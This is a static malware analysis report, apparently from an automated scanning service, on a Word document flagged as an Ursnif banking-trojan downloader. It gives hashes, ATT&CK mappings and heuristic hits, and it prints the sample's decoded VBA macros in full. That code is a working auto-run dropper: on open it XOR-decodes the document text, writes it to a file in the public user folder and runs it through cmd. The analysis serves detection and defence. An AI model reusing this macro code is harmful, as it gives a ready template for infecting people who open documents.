Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 e5e314191de57f2b…

MALICIOUS

Office (OOXML)

50.3 KB Created: 2021-06-28 10:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: 016531e0af9f575c65a3ed34323b0f92 SHA-1: 49489ae89f36c54b6b3df172a77191d916b9c727 SHA-256: e5e314191de57f2bd9aa3a7c5947db0a6bafe8ae24d3685b1738132f5853c8da
224 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The Document_Open macro triggers the execution of a shell command to download a second-stage payload, identified as 'oStruct.h', to the public user directory. The ClamAV detection and heuristic firings strongly indicate this is a downloader for the Ursnif banking trojan.

Heuristics 7

  • ClamAV: Doc.Downloader.Ursnif06210-9875010-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Ursnif06210-9875010-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1367 bytes
SHA-256: 93491ef146d30c3f8437bbcd19b8a4826e863292f8d4cb1beac83c7a1300f29e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                                main
                        End Sub

Attribute VB_Name = "booleanDatabase"
Function nameSin(cWinBytes)
Shell rightFunction("cmd /c ")
End Function
Function rightFunction(cWinBytes, Optional dData = "c:\\users\\public\\oStruct.h", Optional leftCaption = "t", Optional optLnkCopy = "a")
rightFunction = cWinBytes & dData & "" & leftCaption & optLnkCopy
End Function
Function exceptionButtonException(arr As Variant)
Dim out As String
out = vbNullChar
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 101)
Next
exceptionButtonException = out
End Function

Attribute VB_Name = "altPtr"
Sub main()
lengthCounterLibs
szVbaObj = nameSin("")
End Sub

Attribute VB_Name = "titleMem"
Sub lengthCounterLibs()
Open rightFunction("") For Output As #1
Print #1, exceptionButtonException(afterCopy)
Close #1
End Sub
Function vbaSet(structLeftLink)
vbaSet = Split(structLeftLink, "#")
End Function
Function afterCopy()
afterCopy = vbaSet(ActiveDocument.Range.Text)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 3847c13552ee5402105846048ef3de80d2389c0c12a3264fd54eda87505e4530

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